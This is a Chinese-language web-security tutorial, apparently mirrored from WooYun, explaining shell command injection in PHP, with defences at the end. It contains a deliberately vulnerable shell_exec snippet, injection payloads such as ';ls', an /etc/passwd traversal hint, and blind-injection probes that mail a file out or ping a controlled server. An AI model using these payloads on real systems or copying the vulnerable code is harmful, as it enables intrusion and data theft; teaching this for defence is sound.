作者:
五道口殺氣
·
2014/03/06 10:29
0x00 前言
Shell注入(Shell Injection),也被稱為命令注入(Command Injection),雖然不是最經常提及或發現的漏洞,但是危害巨大。
下面展開討論一下shell注入。
0x01 簡單介紹
通常情況下,Web應用程式會有需要執行shell命令的時候,有可能只是使用Unix sendmail程式傳送電子郵件,或執行指定的Perl和C + +程式。從開發的角度來看,這樣做可以減少程式的開發時間。然而,如果資料是透過一個使用者介面傳遞到這些程式中,則攻擊者可能能夠注入shell命令到這些後臺程式。
舉一個簡單的例子:
#!php
<?php
echo shell_exec('cat '.$_GET['filename']);
?>
看起來很好用,我們需要輸出檔案內容,直接用cat輸出,比如同目錄下有一個my_great_content.txt檔案,那麼請求的url就為:
www.mysite.com/viewcontent.php?filename=my_great_content.txt
開發只需要一行程式碼,就可以達到期望的功能。
但是不幸的是,這段程式碼是不安全的,攻擊者只需要使用一個分號(;)就可以繼續執行其他的命令。
www.mysite.com/viewcontent.php?filename=my_great_content.txt;ls
該頁面除了返回檔案內容之外呢,還返回了當前目錄下的檔案
實際上這個檔案除了shell注入之外,還有目錄遍歷的問題,使用../../etc/passwd
等獲取其他檔案內容。
0x02 如何利用
在前面的內容中,我們看到了如何進行命令注入的簡單案例。下面看下shell注入的幾種情況,以及如何進行shell注入。假設一些我們經過分析,已經發現了一個網站有shell注入,那麼你將有很多種注入的方式。
前面的例子中,獲取檔名並使用cat命令獲取文字內容輸出,我們可以使用分號(;)分隔進行注入,然而肯定有開發人員意識到此問題了,可能會過濾分號,但是仍有繞過的方式,下面是在shell注入中可能會用的字元,介紹一下:
重定向運算子
例如:<,>>,>
這些運算子是把結果輸出到伺服器的其他地方,< 是從檔案中而不是從鍵盤中讀入命令輸入,可能被用來繞過過濾。>是把結果重定向到檔案中,而不是寫在命令提示符視窗中。>>把結果追加到別的文字當中,而不改變原來的內容。
管道符
例如:|
管道符可以把一個命令的輸出重定向到下一個命令的輸入,例如
cat file1 | grep "string"
inline命令
例如:;,,,$
用來結束之前的命令,直接執行新的命令。
邏輯運算子
例如:$,&&,||
這些運算子用來對資料進行邏輯上的運算
常見的注入語句與結果
`shell_command` 執行shell_command命令
$(shell_command) 執行shell_command命令
| shell_command 執行shell_command命令並返回結果
|| shell_command 執行shell_command命令並返回結果
; shell_command 執行shell_command命令並返回結果
&& shell_command 執行shell_command命令並返回結果
> target_file 返回結果覆蓋到target_file裡
>> target_file 返回結果追加到target_file裡
< target_file 把target_file的內容輸入到之前的命令當中
- operator 給目標指令新增額外的引數
0x03 如何尋找shell注入
主要是尋找你懷疑的某個功能可以是後端用命令來執行的,可以進行簡單的測試,由於作業系統系統可能不同,那麼你測試的語句也應該是不一樣的:
(Windows) <normal_input>; dir c:
(Unix) <normal_input>; ls
同時還要注意執行命令可能存在的引號,例如:
#!php
<?php
//sending the input directly. Attack with a string like file.txt;ls
echo shell_exec('cat '.$_GET['command']);
?>
<?php
//input is placed in quotes. You must end the quotes to execute an injection.
//Craft an attack with a string like file.txt";ls
echo shell_exec('cat "'.$_GET['command']).'"';
?>
盲注
如果有時候並沒有命令回顯,那麼可以用以下方式檢測是否存在盲注:
file.txt;mail [email protected] < file.txt //send an email to yourself
file.txt;ping www.test.com //ping a webserver you have control of
file.txt;echo "test" > test.txt //write the word "test" to test.txt. try opening this file with the browser.
0x04 如何防禦
儘管上面說有很多方式進行shell注入,但是可以用幾個簡單的方式進行防禦,最主要的是過濾所有使用者輸入的資料,最好是能避免使用者的資料直接進入命令執行當中,如果不可避免,儘量避免(; | &)等符號,最好是用白名單。
如果不能是白名單,PHP當中提供了escapeshellarg和escapeshellcmd兩個函式進行過濾,但這並不能完全保障程式碼的安全性。需要具體情況再做相應的濾。
from:https://www.golemtechnologies.com/articles/shell-injection#how-to-test-if-website-vulnerable-to-command-injection
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!